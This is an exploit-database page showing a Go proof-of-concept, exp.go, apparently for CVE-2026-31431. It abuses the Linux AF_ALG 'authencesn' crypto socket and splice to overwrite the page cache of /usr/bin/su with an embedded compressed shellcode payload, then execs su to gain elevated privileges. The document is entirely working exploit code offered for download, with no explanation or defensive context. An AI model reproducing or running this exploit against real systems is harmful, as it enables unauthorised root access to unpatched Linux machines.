Exploit databaseDownload repository ZIP
GH-b454a6a51b107020ed1930a64e4f60cf
cs8425/copy-fail-go
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
cs8425/copy-fail-goRevision 66e230f428d0
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp.go
Go · 4,083 bytespackage main
import (
"bytes"
"compress/zlib"
"encoding/hex"
"fmt"
"io"
"os"
"syscall"
"unsafe"
"golang.org/x/sys/unix"
)
// d(x) : Hex string -> bytes
func decodeHex(s string) []byte {
b, _ := hex.DecodeString(s)
return b
}
// zlib.decompress(d("..."))
func getPayload() []byte {
hexStr := "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data := decodeHex(hexStr)
r, _ := zlib.NewReader(bytes.NewReader(data))
defer r.Close()
buff, _ := io.ReadAll(r)
return buff
}
// c(f, t, payload)
func corrupt(fFd int, offset int, payload []byte) error {
u, err := newALGSocket()
if err != nil {
return err
}
defer unix.Close(u)
sendPayload(u, fFd, offset, payload)
return nil
}
func newALGSocket() (int, error) {
// 1. create AF_ALG socket
fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
if err != nil {
fmt.Println("socket error:", err)
return -1, err
}
defer unix.Close(fd)
// 2. bind authencesn
addr := &unix.SockaddrALG{
Type: "aead",
Name: "authencesn(hmac(sha256),cbc(aes))",
}
if err := unix.Bind(fd, addr); err != nil {
fmt.Println("bind error:", err)
return -1, err
}
// 3. set key & authsize
key := append(decodeHex("0800010000000010"), make([]byte, 32)...)
if err := unix.SetsockoptString(fd, unix.SOL_ALG, unix.ALG_SET_KEY, string(key)); err != nil {
fmt.Println("setsockopt(ALG_SET_KEY) error:", err)
return -1, err
}
if err := unix.SetsockoptInt(fd, unix.SOL_ALG, unix.ALG_SET_AEAD_AUTHSIZE, 4); err != nil {
fmt.Println("setsockopt(ALG_SET_AEAD_AUTHSIZE) error:", err)
return -1, err
}
// 4. use syscall(SYS_ACCEPT) to get aeadfd (u)
u, _, errno := unix.Syscall(unix.SYS_ACCEPT, uintptr(fd), 0, 0)
if errno != 0 {
fmt.Println("accept error:", errno)
return -1, errno
}
return int(u), nil
}
func sendPayload(u int, fileFd int, offset int, payload []byte) error {
// 5. construct sendmsg
aad := append(bytes.Repeat([]byte("A"), 4), payload...)
oob := buildCmsg(unix.SOL_ALG, unix.ALG_SET_OP, make([]byte, 4))
oob = append(oob, buildCmsg(unix.SOL_ALG, unix.ALG_SET_IV, append([]byte{0x10}, make([]byte, 19)...))...)
oob = append(oob, buildCmsg(unix.SOL_ALG, unix.ALG_SET_AEAD_ASSOCLEN, append([]byte{0x08}, make([]byte, 3)...))...)
// 6. send aad and cmsg, then splice
if err := unix.Sendmsg(u, aad, oob, nil, unix.MSG_MORE); err != nil {
fmt.Println("sendmsg error:", err)
return err
}
var pipefds [2]int
if err := unix.Pipe(pipefds[:]); err != nil {
fmt.Println("pipe error:", err)
return err
}
defer unix.Close(pipefds[0])
defer unix.Close(pipefds[1])
size := offset + len(payload)
off := int64(0)
if _, err := unix.Splice(fileFd, &off, pipefds[1], nil, size, 0); err != nil {
fmt.Println("splice fd->pipe error:", err)
return err
}
if _, err := unix.Splice(pipefds[0], nil, u, nil, size, 0); err != nil {
fmt.Println("splice pipe->socket error:", err)
return err
}
buf := make([]byte, 8+offset)
unix.Read(u, buf)
return nil
}
func buildCmsg(level, typ int, data []byte) []byte {
b := make([]byte, unix.CmsgSpace(len(data)))
h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0]))
h.Level = int32(level)
h.Type = int32(typ)
h.SetLen(unix.CmsgLen(len(data)))
copy(b[unix.CmsgLen(0):], data)
return b
}
func main() {
// 1. open /usr/bin/su
f, err := os.Open("/usr/bin/su")
if err != nil {
fmt.Println("Error opening /usr/bin/su, check if it exists.")
return
}
defer f.Close()
fFd := int(f.Fd())
// 2. decompress payload (from original pyhon code)
e := getPayload()
// 3. write to page cahe (4 bytes per call)
for i := 0; i < len(e); i += 4 {
end := min(i+4, len(e))
payload := e[i:end]
err := corrupt(fFd, i, payload)
if err != nil {
fmt.Println("write failed:", err)
return
}
}
// 4. run su (page cache already modified)
// syscall.Exec(path, args, env)
err = syscall.Exec("/usr/bin/su", []string{"su"}, os.Environ())
if err != nil {
fmt.Println("Exec failed:", err)
}
}